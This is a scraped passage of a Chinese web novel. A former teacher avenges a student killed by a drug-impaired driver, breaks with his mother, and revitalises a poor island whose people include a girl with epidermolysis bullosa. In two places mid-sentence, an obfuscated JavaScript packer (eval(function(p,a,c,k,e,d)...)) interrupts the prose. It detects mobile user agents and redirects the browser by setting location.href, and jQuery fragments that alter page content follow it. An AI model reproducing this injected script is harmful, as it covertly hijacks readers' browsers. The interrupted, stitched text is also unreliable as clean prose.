这是权贵们迫于舆论压力后的惯用伎俩,他们向来习惯了用金钱与权势摆平一切,翻手为云覆手为雨,眼见逃避无果,这次他们又试图用一场顶包来伪造真相,在他们眼里无非是找个替罪羊罢了,这种下三滥的招数,他早在做医生的时候就见识过了。
积怨已久的怒火在这一刻燃烧至了顶峰,肇事方这恶劣且无底线的行为,是对法制道德的公然挑衅,更是对佟辉生命的再次践踏。
乔翊不再满足于小范围的发声造势,这一次,他要彻底揭露掩藏在谎言下的真相。
他再度调动起所有能触及的一切资源,将质疑与真相的呐喊推向沸反盈天的舆论高潮,他倾尽所能,要把那藏于幕后的真凶亲手拖到天光之下,让他的罪行无所遁形。
可随之而来的不是迟到的正义,而是他被校方的约谈,他们义正言辞地向他申明,车祸发生在校外,与学校没有任何关联,如果他再节外生枝,继续协同媒体散布损害到校方声誉的信息,对学校造成不良影响,将会对他进行严肃处理。
这看似警告实则是通知,毕竟在明哲保身这种事上,他们的执行力向来很快。
学校随即便以他“个人行为严重失范,在社会上或网络上造成极其恶劣的影响,且其行为明显与教师身份相悖”该条规定为由,对他作出了暂停一切教学工作的处理決定。
被勒令停课的乔翊眼睁睁看着佟辉的父亲顶着彻夜长出的白发,连同他重病的妻子,夫妻双双跪在校门口那条吞噬了他们儿子生命的马路上,可在他们高举“还我儿子真相”的血牌之下,换来的却只有学校保安的拉扯推搡,驱赶与呵斥。
这似曾相识的一幕,与医院中那些道貌岸然的嘴脸又有何不同?
至此,乔翊心中那珍视为最后一片的净土之地,也彻底湮灭,荡然无存。
他无脑地冲向了那片混乱的人群,想去护住那对痛失爱子的苦命夫妻,却发现仅凭一己之力根本抵不过那些有恃无恐的力量,挫败感裹挟着自嘲如海水般奔涌而来,最后残存的理智也在校方人员的粗暴拖拽中崩断,他终究站到了学校的对立面,抬起手攥成拳头,重重挥向了那些冰冷而吃人的面孔。
结果毫不意外,他被学校开除了。
佟辉的父母质朴心善,明明自己才是受害的那一方,却还对他心存愧疚,他们一边感谢乔翊的付出,一边声泪俱下地劝他及早抽身,勿要再卷入其中徒惹祸端。
可早就看透世态炎凉的乔翊比谁都清楚,连身为班主任的他都落得如此下场,仅凭他们夫妻二人的微弱之力,这条维权之路的前方注定荆棘遍布、坎坷崎岖,甚至到最后只会走入一个无解的死胡同。
他向他们承诺,绝不会让佟辉走得不明不白,哪怕付出所有代价,一定会还他一个公道。
他也开始不得不认清一个事实——他那一向高傲的自尊,在权势面前根本不堪一击。
于是,他剔去满身的傲骨,放下那所谓的身段,低下头颅踏进了那个曾被自己视如敝屣的“家”——宁氏。
彼时那个男人因为年事渐高已病入膏肓,在他行将就木之际,他的母亲与父异母的姐姐已无心挽留,转而投身于庞大财产背后的明争暗斗中,她们对宁氏掌权人的位置虎视眈眈,早就展开了一场无声的争夺。
乔翊的突然回归,令渐处下风的乔女士重新燃起了希望,将他视为局面翻盘的最后一张底牌,她一心认定这是他血脉觉醒后的立场站队,岂料现实却反手给了她沉重一击。
乔翊并没有如她所愿一致对外,而是转身走向了那位同父异母的姐姐。
他以自己放弃继承权,转让出名下所有集团股份作为条件,请她动用家族一切力量查出害死佟辉的真凶,并让其付出代价。
之后,他会自动消失在她的世界,从此,宁氏的一切都与他再无瓜葛。
起初听到这个条件,同父异母的姐姐并位轻信,她处心积虑的劲敌、眼中钉,怎会为了一件不值一提的“小事”俯首向她低头,不惜将人人觊觎的继承权就这样拱手相让?
她生怕是母子俩联手做的局,意在那老东西弥留之际使她放松警惕,再步步为营引她入彀。
因而这场谈判在彼此的试探与猜忌中,被拉得格外漫长…………
待乔翊从宁欣处走出,守候多时的乔女士横身而出,迎面将他截住,在这个风声鹤唳,草木皆兵的紧要关口,她虽未置身其中,直觉却早已窥破了姐弟间的密谋。
她带着一种近乎绝望的姿态怆然而至,将心中的全部怒火与失望灌入一记耳光,狠狠掌掴在乔翊的脸上。
她声如裂锦,郁恨不已,“畜生!毁了我你又能得到什么好处?为了你,我前半生忍辱负重,殚精竭虑替你谋划铺路,你却从小是个烂泥扶不上墙的废物。这些年我在宁家低眉顺眼、做小伏低,如履薄冰地走到今天,眼看大局将定,你居然联手那个外人来背叛我?逆子!”
这一耳光,似一把利刃斩断了二人之间仅存的血缘羁绊,乔翊被打中的半边脸颊先是麻木,随后痛感才如潮水般层层漫开,顺着皮肤沁入骨髓,沿着神经寸寸啃噬,愈演愈烈,直至清晰,最后幻化为一枚冰冷的刺刀扎向心脏深处,而那里早就在日积月累的失望中,变得千疮百孔。
仅剩不多的儿时记忆也零星地在脑海中重现。
有一幕是幼年时的他扑向她怀中以求安慰,却被她用手臂断然隔开,她神色肃然地推开他,语气严厉不容置喙,“只会撒娇的男孩是懦夫,将来成不了顶天立地的男子汉。”
还有一幕,是外婆去世时,她不过露面片刻,便以有要事为由匆匆离去,临走前,她睨着泣不成声的他,恨不成钢道,“只会哭哭啼啼,哪有半点能担事的样子?一点都不像我,也不知道随了谁。”
就连替他擦眼泪,也耐心全无,甚至不愿与他有所接触,而是吩咐助理递上纸巾,隔着纸如掸灰般草草一抹,随即将剩余的纸巾一股脑丢进他怀里。
“人死不能复生,一味地沉溺在难过中,只是没用的人逃避事实的手段,赶紧收起你那不值钱的眼泪,哭哭啼啼,太过软弱只会叫人看不起。”
生分的动作,凉薄的语言,敷衍的态度,如果不是事实摆在眼前,外人恐怕都看不出形同陌路的二人实则是亲生母子的关系。
……
这些残存的画面,甚至拼凑不出一个他们曾经和谐相处过的完整片段,哪怕只有一瞬间,都成了奢望,而这些诸如此类的“小事”,大概也从未被她放在心上,从未。
直到如今,即便他已经长成了一个有血有肉的大人,她依旧不知道自己真正想要的是什么,确切的说,她从来都不知道。
“为了我?”他重复着这句话,口中残留的血腥混着心寒牵出一抹苦笑,“从小到大你又什么时候在乎过我?你连最基础的母爱都吝于施舍,只是把我当做一枚跟他们争斗的筹码。有用时,作为棋子工具推动一步,无用时,再随手推开弃若尘埃。所以,乔女士,请别把你的一己私利说的那么冠冕堂皇。”
“那时我也一无所有!”乔女士摆出一副痛心疾首的模样,语气里也开始软硬兼施,“我那时没有能力保护你,才将你送到外公外婆那里,如果我带你在身边,只会将软肋暴露在人前,之前的所有努力都会前功尽弃。”她话锋再陡然一转,这次掺杂了诱导与责备,“你外公教得你多愁善感,悲天悯人,既然如此,你怎么就不能体谅可怜自己的母亲?我为你背负了这么多,到头来,在你的心里,难道亲生母亲还不如一个萍水相逢的学生吗?”
“对!”乔翊不假思索。
“他教会了我爱与感恩,而你,除了留给我无尽的童年创伤,让我在前半生不断寻找填补那份空缺的慰藉,直到我与自己和解,都再无其他。”
此刻,微风初起,残阳如血。
那轮落日正将人间最后一丝温存,拱手让与苍穹。
乔翊的声音也随之飘荡在这空渺的天地间。
“当然,我感谢你给予我生命,尽管我的到来从未被你期待。我也同样感谢你从小对我不闻不问,才让我在外公外婆身边得以建立一个健全的人格,真切地感受到这人世间的冷暖,体会过爱与被爱。”
最后,他认真地看了一眼这位曾在无数梦中渴求她怀抱与温暖的亲生母亲。
“我没有如你所愿,长成同你一样的冷血动物,细想起来,其实最功不可没的人是你,不是吗?”
“乔翊,你听妈妈说……”她欲要继续解释。
“有些话,在我最需要你的时候不曾听到,如今我长大了,也不再需要了,你也不必惺惺作态。”乔翊不再有任何波澜起伏地打断了她,最后的告诫也清晰如划界,“收手吧,把本就属于宁欣的东西还给人家,你才是那个没资格去争的外人。”
说完,他决绝转身,只身走入暮色,再未回头。
“儿子!乔翊!乔——翊!”
身后爆发的鸣叫是乔女士穷途末路下的最后呼唤,直至声息嘶哑,陷入癫狂,最终她随着将尽的残光,一同坠向了无望的黑暗。
一个月后,真正的肇事者被捉拿归案。
经查证,该肇事者为吸食毒品后,在极度亢奋的精神状态下超速驾车冲撞行人,事发后不但没及时刹车反而将受害者拖行,故意致人死亡后逃逸,事后,又指使他人顶替罪行,企图逃避法律制裁,情节恶劣,令人发指。
在多方的努力下,司法机关最终以交通肇事逃逸、故意杀人及妨害作证等数罪并罚,将肇事者判处死刑。
案子了结后,乔翊带着判决书来到了佟辉的墓前,他的父母把他永远安葬在了那个他口中赞不绝口的美丽之地,他无比热爱的故土——夏安岛。
他长眠于此,墓前整齐摆放着的无花果,与他曾经带给他的那些一样新鲜清润,连空气中都弥漫着那熟悉而淡雅香甜,而墓碑照片上的他,笑容一如既往的明亮灿烂。
恍惚间,乔翊觉得他就在眼前,依旧那样干净爽朗地笑着,耳边仿佛又传来那声带着笑意的轻唤。
“嘿,老乔。”
乔翊抬起手,轻轻拂去墓碑照片上的浮尘。这场漫长的拉锯站终于落幕,与佟辉同届的学生们早已步入高中,奔向崭新的人生舞台,只有佟辉被时光永远定格在这个风华正茂的年纪。
乔翊将那枚港大的校徽轻轻放在佟辉的面前,与鲜润的无花果并列,他低声告诉他,“你看,老师没有食言,真的到你老家来了。我看到了总被你挂在嘴边的玻璃海,它很美,确实不输马尔代夫,也找到了那片茂盛的无花果园,园主说今年的果子依然结得很好……”
海风掠过,四周只有树叶在沙沙作响,他的声音里带着难以释怀的怅惘,“可你人呢?不是说好了一起赶海,喂海鸥,划桨板,采无花果的……你人倒是去哪儿了啊,臭小子?”
可乔翊并没有告诉佟辉的是,他离开后,自己便坠入了一片无边的灰暗,
那个残忍夺走他生命的夜晚,乔翊一直没能走出来,抑郁症如同无声的海水,逐渐淹没了他全部的生活与光亮。
当所有维权事了,真正凶手被绳之以法,一切尘埃落定后,他却一次次地陷入更深的自责,他一遍遍地怪自己:为什么那天会把汽车钥匙落在办公室,为什么要答应佟辉晚自习后球艺的切磋,为什么要放任他贪恋那最后几个回合的胜负……他更无数次地设想,如果当时自己提出开车送他回家,如果他们在校门口多停留哪怕一分钟,错过那辆疾驰而来的车,故事的结局是不是就能改变。
明明他的人生才刚开始,他的理想抱负还没来得及实现。
这些想法如同密密麻麻的藤蔓,盘根错节在他的脑海里疯狂滋长,它们日夜不息地蚕食着他的心神,剥夺了他的睡眠,侵扰着他的意识,最终将他拷上“我是罪人”的道德枷锁,他无法放过自己,只有不断地依赖药物,才能在这窒息般的深渊中换取片刻喘息。
乔翊都尚且如此,佟辉的父母所承受的更是加倍且难以言说的痛苦。
为了查明真相,夫妻二人的心力已被消耗殆尽,他们不敢再待在沪城,因为只要静下心来就会看到佟辉的身影,同时脑海里也止不住地浮现他在这里被夺走生命的惨痛模样,还有这座城市曾给他们带来的锥心之痛。
两人卖掉了房子,也辞去了工作,毅然决然地回到了这座儿子深爱的小岛,他们不忍他孤单一人在此,往后余生他们都会在这里陪着他,一家四口再也不分离。
变卖房产所得的钱,也被他们一分为二,一份用于支撑佟辉母亲持续的透析治疗,另一份则投入到岛上旧宅基的重建中,他们要亲手搭建佟辉生前无数次描绘过的未来民宿,替他完成尚未实现的梦想,仿佛那一砖一瓦垒起的不仅仅是房屋,也是让他的生命以另一种方式延续下去的念想。
这对底色淳善的夫妻,在自己伤痛的同时,也始终关注着乔翊。见他日益消沉、深陷于自责的漩涡,他们于心不忍,便以请他帮忙建造民宿的名义留他在岛上休养。
“如果你能亲眼看着佟辉所展望的民宿从筹建到落成,成为第一位入住的客人,他一定会很开心的。”
这番话,像一道贯穿黑夜的微光,让原本以为只能在日复一日的绝望里耗尽余生的乔翊,心头又陡然漾起一丝涟漪,在无边无际的黑暗中又重新升燃起一缕盼头。
为了这份盼头,他留了下来。
从那以后,他代替佟辉成为了这个家的一部分,他们在这座小岛上相互支撑、彼此慰藉,在海风的包裹中,守着岁月,替佟辉把那些尚未来得及编织梦,一点点地延续了下去。
随着待在岛上的时日渐长,乔翊逐渐看到了这片土地的沉寂与艰难,小岛正随着年轻人的不断出走而不可避免地走向没落,只剩老弱妇孺抱守残缺,而由于交通不便,岛上的医疗与教育资源也相对匮乏,岛民们看病、小孩上学都必须乘船出海,前往遥远的市区。
很多岛民咬咬牙克服一下也就这么过来了,可对于有困难的老幼病残家庭,这无异于雪上加霜。
岛上有个女孩,天生患有罕见且严重的基因疾病,她的皮肤和黏膜如同蝴蝶翅膀般脆弱,轻微地摩擦便会引起水疱和破损,需要极致的温柔呵护,社会上像她这样的孩子被称为“蝴蝶宝宝”。这个病也导致她无法承受乘船颠簸、长途跋涉去市里上学的艰辛。因此她从未踏进过一天教室,从未上过一堂课,只能每天眼巴巴望着同龄的孩子们
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182755|196967||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
被摆渡船接走、送回,周而复始。
这一幕,深深地烙进了乔翊的眼里,小女孩眼底对知识的渴望与向往,触动了他心底封尘已久的柔软。他蓦然想起佟辉,想起他畅谈起这片土地时眼里的光,仿佛与女孩小小身影重合交叠,同时一个念头也在他心中慢慢清晰起来。
他要让那道光,如同佟辉希冀的那样,真正照在这座小岛上。
于是,当初那笔与宁欣交易,股权转让所得到的现金,他知道自己该如何使用了,他不再将之局限于民宿的建造上,而是带着佟辉对这片土地的挚爱与期盼,决心将自己扎根于此,他要投资改造这座沉默的岛屿。
首先,是改善岛上的交通,在不破坏小岛原生态平衡的基础上,修缮并新建道路,让家家户户的门口都通达便利,至少能实现摩托车自由。随后,他又着手改造翻新学校,重新聘请教师,但由于地处偏僻,无人愿意来这座小岛任教,他只得与佟川一一上门邀请回曾在此任教的退休老教师们,而缺失的英语老师,他便亲自走上讲台重操起了旧业。至于岛上匮乏的医疗资源,既然没有条件他就主动创造条件,他租下岛上最大的两层楼房,并把医术精湛的外公接到这里坐诊。
当然,事情的开端往往带着几分诓骗,他是打着让老爷子退休后去养老的旗号,把他忽悠上的岛。
只是老人心里门儿清,乔翊的所作所为,实则是在痛失学生后某种形式上的创伤弥补,是在完成一场自我心理救赎。老人家也是顺水推舟,默然成全他一番执念罢了。
因为乔老同样知道,以乔翊的个性,否则他会永远过不了自己心里的那道坎,永远不会放过自己。
知孙莫若他,除了改造小岛,那座在期待中日渐建成的民宿仿佛也成了乔翊新的精神支柱,他凡事亲力亲为,不惜重金聘请了知名设计师,充分利用宅基地坐落于悬崖的得天独厚优势,建成了整座岛屿上最为引人注目的地标性建筑,并亲自取名“倦”。
意为——倦鸟归巢。
与此同时,他也积极推动小岛的旅游项目,协助当地居民一起创业增收。他步履不停,将自己淹没在繁琐的事务中,因为只有持续的忙碌让注意力所分散,他才能暂时抵挡住内心深处的迷茫与痛苦。
但要将小岛全方面打造成旅游景点并非易事,首要难题是得解决所有海滩长期处在一个混乱环境的局面,要实现有效运营,关键之举在于推行统一管理。
在佟川的牵动下,村委会组织全体岛民共同商讨小岛海滩经营权的归属与运营方式。
乔翊深知,岛上资源原本就属于全体岛民集体所有,要想取得海滩经营权,必须获得岛民们的认同。为此,他提出了村集体与村民代表均可入股的方案,确保大家能同时获得股金收益与租金收益。此外,他还承诺为岛民提供就业机会,使他们能够获得薪金报酬。通过这一模式,岛民可实现“三份收益”,共同分享旅游发展带来的红利。
当这个想法首次在村委会上公之于众时,李奶奶的儿子第一个拍案而起,高声质疑。
“大城市来的少爷,仗着有几个钱,就想打我们岛的主意?现在话说得是好听,谁知道是不是画个大饼,骗我们入股,最后卷钱跑路?”他用力敲着桌子,乒乓作响,“你想把这座岛作为旅行景点对外推广,可你也不出门问问,众人都只知隔壁青禾,谁认得我们这座破岛?难道你一个外人一来,搞点新花样包装一下,就能把它做起来不成?”他横眉立目,公开叫板,“就算我们同意了,你敢打包票能实现盈利吗?”
……
那段与如今高度相似的质问乔翊并不觉得陌生,那次也是佟川主动站了出来,并且坚定不移地站在了他这边给予支持。
随后也是在他们夫妻二人的帮助下,他拿到了小岛所有海滩的经营权,并渐渐有了多重多样的身份。
民宿前台,救援队成员,出海领队,诊所后勤……
而如今这一次,截然不同的是,他的承诺与担保,面对的终于不再是岛上居民怀疑的目光与嗤笑的声音。
因为这几年在他的带动下,小岛从衰败没落到焕发新的生机,昔日的荒芜杂乱也被井然有序取而代之。
海滩变得整洁开阔,邻近海滩居住的岛民们,在他统一提供海上设备后,纷纷经营起各种海上项目;一栋栋的自住小楼前陆续挂起了“渔家民宿”“海鲜小馆”的招牌,每家都有自己的特色,它们又在他的指导下入驻线上旅游平台,既形成良性竞争,也为远道而来的游客提供了丰富、便捷的选择;而那些实践经验丰富,却遭时代抛弃的老渔夫,在一艘艘崭新的游艇上也各展所长,以另一种形式重新扬帆起航,他们每天驾轻就熟地载着兴致盎然的的游客,驶向海钓的最佳海域,待到日暮西垂,再摇着满船的笑声悠然归来。
就这样,夏安岛渐渐地从一个穷山僻壤,一点一点地打开了知名度,虽只是小众景点,却不再籍籍无名。
早前愿意参与入股的岛民,每年多多少少都能拿到分红;在民宿打工、在码头帮忙的留守岛民,也都有了稳定收入;就连李奶奶的无花果,也成了海岛必带手信,游客们总会购买些带走。
还有体现在点点滴滴生活中的变化:留守的孩子们再也不用离岛,在家门口就能上学;谁家有个头疼脑热,也不必再颠簸渡海,走几步路就能到外公的小诊所瞧上病,这些实实在在的便利,让岛上的日子过得安稳妥帖,那些曾经对乔翊的质疑声,也如数化作了街头巷尾见面时那一声声亲切的招呼,他在暖阳和海风的包裹中,真正被这座小岛所接纳。
当初佟辉所承载在梦想中的事,他都慢慢地替他做到了。
只是他的能力在广袤的天地间,终究是沧海一粟,面对旅游业的白热化竞争,以及专业自媒体入局带来的冲击,小岛的发展陷入了瓶颈,同质化严重、可替代性高的困局也令小岛的知名度徒留在原地,止步不前。因此寒暑假旺季,便成了当下他们所能抓住的,维持眼前生计的唯一浮木。
小岛变了,又像没变。
年轻人依旧向往着外面的花花世界,觉得小岛上的一隅天地难以实现他们的远大抱负,总想着要去闯荡一番才罢休,对此,岛上所有人都深表理解也给予支持。
唯有乔翊与佟川一家始终保持着初心,日复一日地守护在这座小岛上,因为他们相信只要足够热爱,一切终将走向光明。
至此,乔翊回首凝望,这一路的风雨兼程,除了外公与佟川一家人,他其实从未孤身一人,踽踽独行。
外公的诊所,每年都会在固定时间收到一箱包装完好的草鸡蛋,还有纯手工制作的风干牛肉,意外的是,那收件栏上的名字并不是医德如山的乔老,而是——敬谢乔翊医生。
乔翊后来得知,这份心意,来自于他做医生时垫付过医药费的病患家属,他没想到自己曾经的一个小小善举,会被人十年如一日地记在心底,从未忘记。
包括沪城带过的那届两个班的学生,也会在每个暑假自发地来到这座小岛,他们从未将佟辉遗忘,仿佛他从来不曾离队缺席;然后又会如同老友般与乔翊相聚叙旧,一如往昔,畅谈见闻,倾诉烦忧,即便后来不少同学漂洋过海,远赴他国求学,他们之间的联系始终没有中断,那份蕴藏在心底的惦念,总会在逢年过节以讯息的形式如期而至。
——乔老师,果然如你所说,白人饭真的好难吃啊,好想回国怒吃个三天三夜。等我回来!回国就去小岛找你玩啊。
——这是来自冰岛的极光,海的尽头是对恩师的思念,分享给世界上最好的乔老师。
——乔老师,记得好好吃饭,好好睡觉!你也要操心一下自己的事,比如给我们找个师母!希望下次来到小岛,我们能有幸见到她。
——盛行千里,不忘师恩。祝乔老师身体健康,万事胜意。
……
这些无关山海、不问朝夕,细碎且滚烫的牵挂,也是支撑他一路走来的温暖力量。
他时常想。
自己寄蜉蝣于天地,穷其半生,奔赴心之所向,倘若这份赤诚坦荡,能为旁人点亮一抹微光,那这一程人世跋涉,也算不枉此生……
*
与此同时的“倦”。
佟光口中,他们一家与乔翊的羁绊往事,也终于接近尾声。
当这个故事合上最后一页,身侧的麦初早已泪水决堤,淹没了所有视线……
22. 22
直到一枚纸巾赫然出现在麦初泪眼婆娑的脸颊上,麦初才如大梦初醒,又恍如隔世。
正是刚才那位满身伤痕的小女孩拿来的。
她一边用自己缠满纱布的手动作笨拙地替麦初擦着泪,一边提醒她,“姐姐,面再不吃就全变面糊糊不好吃啦。”
麦初连忙垂首,目光落在面前那碗不知何时端来的面上,残留的热气仍丝丝缕缕地往空气上方升腾,不知会归向何处,而碗里的面条却因泡太久失去了原有的筋道与光泽感,早已软塌地蜷缩成了一团。
她幡然醒悟,不过是一碗面的功夫,佟光已讲述完一个人不为人知的过往,可故事里的他,那些被时光碾碎的日与夜,所经历的悲欢与挣扎,又岂是这些寥寥数语就能概括的?
乔翊曾经对她说过的话,此刻言犹在耳地回响着。
——
“对于我来说,只是个人得失而已,但对于这座岛来说,多了一个人做事,意义可能会不一样。”
“有些事总要有人去做的,只要能让小岛有所改变,哪怕慢一点也没有关系。”
“只有整座岛好了,民宿才能从中得益,不过我相信,一切总会慢慢变好。”
“为什么不会是他跟着我来到这座小岛呢?”
“我从小跟着外公长大,那两个人从来不管我,所以对我而言,只要跟外公在一起就是团聚。”
“其实不必害怕别离,因为只要还爱着,只要还记得想念的人们,他们一定会在某一时刻,以一个温柔的姿势拥抱你,和你重逢。”
……
氤氲袅袅升腾间,麦初眼里的潮意一直未散去,动容的泪水几度要再次冲破眼眶的束缚,险些坠入面前的碗中。
盘踞在她心中许久的疑问,也在这一刻拨云见日,变得清晰明朗起来,包括眼前这个满身有伤的小女孩来历,也不再缥缈悬浮,而是有了确切的答案。
她应该就是佟光故事中的那个“蝴蝶女孩”。
麦初接过女孩递来的纸巾,匆匆抹去眼角的湿意,努力对她挤出一丝笑意来,竭力地让自己的神情看起来与平常无异,她带着小心翼翼的温柔,润物无声地维护着女孩的尊严。
“你是佟光的同学,对吗?”
“是的,我们是同学。”反而是小女孩一副落落大方的样子,她坦然承认,语气中丝毫没有因为自己身体的缺陷而显得自卑,澄澈的眼眸里满是坦荡面对现实的坚毅,作为一直在旁听故事的观众,她也认真地告诉麦初,“我很荣幸能和佟光他们成为同学,能与他们一起读书学习。是乔老师给了我踏进教室学习的机会,他真的是个很好很好的人。”
“乔老师这个人呐,可不单单只是人好,就说是整个小岛的救世主也不为过,要是没有他,这座岛哪有今天的模样,可真要成了一座荒岛了。”一直在后厨忙碌的瞿阿姨,早已断断续续地听到餐厅里的对话,又记挂着麦初的面再不吃恐怕就没法入口了,便掀开帘子从后厨走出来探头瞧了一眼。
果然如她所料,那碗面与她端来时无恙,纹丝未动,“刚才见你跟小光说话投入,我就没打扰,只把面搁在这儿就回后厨忙了,都忘了提醒你趁热吃,这会儿我看面都坨了,坍塌塌的肯定不好吃了,我这就给你重新煮一碗去。”她作势要端走,想重新给麦初做碗热乎的。
麦初赶紧抢先一步在她动作之前截下,她忙不迭地捧起那碗面,嘴上说着,“不用的阿姨,我就喜欢吃软乎乎的面,硬邦邦的那种反而吃不惯。”说完立马执起筷子吃了起来。
瞿阿姨被麦初这副眼疾手快的样子弄得有些哭笑不得,这些日子她人虽然不在岛上,但也听说民宿来了一位大网红,这不今天人刚回来就收到这位网红要开直播帮李奶奶卖无花果的消息。
她家中有病儿,平常不工作的时间都要忙着给女儿做护理,所以鲜少玩手机,脑海里对网红其实没多少概念,潜意识里把她与那些遥不可及的明星归为一类,但这会儿短暂的接触下,发现她不仅没有半点架子,还十分接地气。
“可这面都泡软了,已经夹不起来了。”眼见麦初用筷子捞了半天没夹到几根面条,瞿阿姨又变得不好意思起来。
“没事的阿姨,夹不起来我就当面疙瘩捞起来吃了。”麦初说着真把筷子换成了勺子,“我这人吧,以前工作的关系经常要走南闯北,公司为了节省时间和开支,风餐露宿也就成了家常便饭,所以我对吃的没什么过多的要求,每天只要有一口热乎的对付就行,别说这碗软乎乎热腾腾的面疙瘩,就算只给我盛碗汤也很满足了,我不讲究那些的。”
说完,她一勺热汤下肚,暖流滚过喉咙直落心底,这恰到好处的温暖顺着嗓子流淌至全身,令感性的她差点又要热泪盈眶。
而她这些体贴与温暖的一言一行,更是不着痕迹地在瞿阿姨心里烙下她人美心善的标签。
“那你慢慢吃,不够跟我说,我再给你煮。”瞿阿姨如此叮嘱麦初。
她满足地告知,“够了阿姨,已经很多了。”
“那就好。”
瞿阿姨大概觉得自己老杵在这儿盯着人家吃面显得不礼貌,便转过身来到女儿刚刚写作业的桌前,并询问她今天的作业是不是做完了。
女孩乖乖点头以做回应,眼看母亲利索得拿过她的小书包,要替她将作业本收拾起来,她却让妈妈先不要动她的作业。
“有几个陌生单词我不懂什么意思,空了好几题,我想先放在这里,等乔老师回来问到单词意思再做。”
“乔老师和佟老板今天有事出去了,回来估计也挺晚了,你不会的题目就先空着,等明天咱们来了再问他好不好?”瞿阿姨生怕耽误了她今天回去换药的时间,便劝说道。
谁知这小丫头也是个倔强性子,她抬起小脸,言之凿凿,“可乔老师说了,今日事今日毕,明天还有明天的作业要完成。”可话一出口,她又惊觉得自己语气冲动,生怕惹得母亲为难,立马软声改口,“不过我也可以自己先查下字典的。”话到此处,她忽然想起自己的字典落在了家里,不由有些难为情地转过头,目光望向佟光,声音细若蚊蚋:“佟光,能借你的字典给我用一下吗?”
突然被cue,小佟光的大脑一时宕了机。
这就尴尬了,要是换作别的事情,他肯定是有求必应,可唯独学习这件事,他真的爱莫能助啊。
反应过来后他带着几分窘迫地挠了挠头,脸上也全是难以启齿的无地自容,最后支支吾吾地开口。
“啊,那个,抱一丝哈。我从来不用字典的,不认识的单词纯属靠猜,遇到不会的题目反正全选C就对了。”
融汇贯通的工具他没有,投机取巧的小聪明他倒是有一堆,其实他心里门儿清的很,自己在学习这件事上从来没有哥哥那般有天赋,也许父母的基因彩票都被哥哥一人承包了,而他,用父亲的话说就像一只懒惰的牛,只有鞭子在后面抽一抽,才不情不愿地肯往前走一走,而乔翊恰恰就是那根能让他不得不往前走的鞭子。
麦初的面条本就吃的快,佟光这番话让她气息一岔,差点没呛着。
她连忙放下碗勺,抬手顺了顺气,随即转向女孩,声音里带着几分急切的温柔:“没事,没有字典的话,用手机查也是一样的。是什么单词?我帮你看看。”
女孩说好,随后便想拿起自己的试卷来到麦初面前,可那薄薄的试卷平摊在桌面上,她那只裹着厚厚纱布的手,每一次抬起都显得格外费力,那在普通人眼里轻而易举就可以随手完成的简单动作,她却一连尝试了好几次均以失败告终。
麦初见状心中一紧,正要起身过去帮忙,却被身旁的瞿阿姨轻轻拦住了动作。
她对着麦初轻轻摇了摇头示意,“她自己可以的。”
果然,女孩稍稍调整了姿势,先将试卷一点点推到桌子边缘,而后借着桌沿腾空的空隙,小心翼翼地将它捧了起来。她脸上漾起一抹浅浅的笑意,声音里带着不易察觉的雀跃:“姐姐,好啦,你看。
“好,我看看。”麦初神情自然地接过她递来的试卷,小学生的英语试卷并不难,她一眼扫出其中关键,三言两语化解她的症结所在。
女孩也十分聪慧,无需麦初过多赘述,只需稍加引导,便已心领神会。她立刻捧着试卷回到原位,趁热打铁地继续攻克剩下的题目。
直到这时,瞿阿姨才轻轻叹了口气,开口向麦初解释。
“她得了一种叫‘疱性表皮松解症’的罕见基因病。从小无法像正常的孩子那样行动自如,随意玩耍,哪怕最不起眼的那种小摩擦,都会让她皮肤瞬间破损,那些伤口会反反复复,稍有不慎就会溃烂流脓。她身上那些大大小小的伤口,必须时刻保持在无菌环境中,才能勉强防止继续感染。为了减轻她的痛苦,每天都得按时给她护理换药。可即使我们各种当心,百般呵护,她的手指还是不可避免地发生了黏连。前几天我们不在民宿,就是带她去市里的大医院做了分指手术。”
瞿阿姨看似平静的背后不知道是多少个以泪洗面的日夜,她的话也如沉甸甸的石头令麦初心头一沉,百感交集。
她忽然觉得自己如尘芥般的渺小,纵使曾跨越千山万水,踏遍无垠旷野,见识过辽阔的天地与苍茫的河山,却直至此刻,才算真正直面世间这些亟待扶助的生命,而她只能焦灼旁观,束手无策。
这种悲天悯人却无从施救的苍凉,这份心系众生却举步困顿的惘然,令她深感无力。
如此代入乔翊的视角,她更加读懂了他初抵小岛时的那份心境,也更为深刻地领悟,在那份恢宏格局背后所承载的责任重量与排除万难的艰辛。
“现在医疗技术与日俱进,一定会慢慢好起来的。”麦初平日里能说会道的嘴在此情此景下也罕见地显得笨拙起来,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182756|196967||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就连安慰人也蹦不出新鲜的遣词造句,仿佛只是把旁人常说的话复制粘贴了一遍。
瞿阿姨淡淡一笑,对此不甚在意,早在女儿出生时,确诊有先天的疾病后,她不是没有埋怨过命运的不公,为什么偏偏是他们一家,偏偏是她的孩子要承受这场灾难,可时光碾转至今,她心中的怨恨早已转念为感恩,只因沿途走来,遇到的都是温暖善良的人,大家陆续向他们一家伸出援助之手,用心将他们托举,也正是这一份份人间赠与的温柔,让她有了与命运坦然相对的勇气,学会勇敢地接纳一切且力所能及地尝试改变。
她稍做停顿后,又缓缓开口。
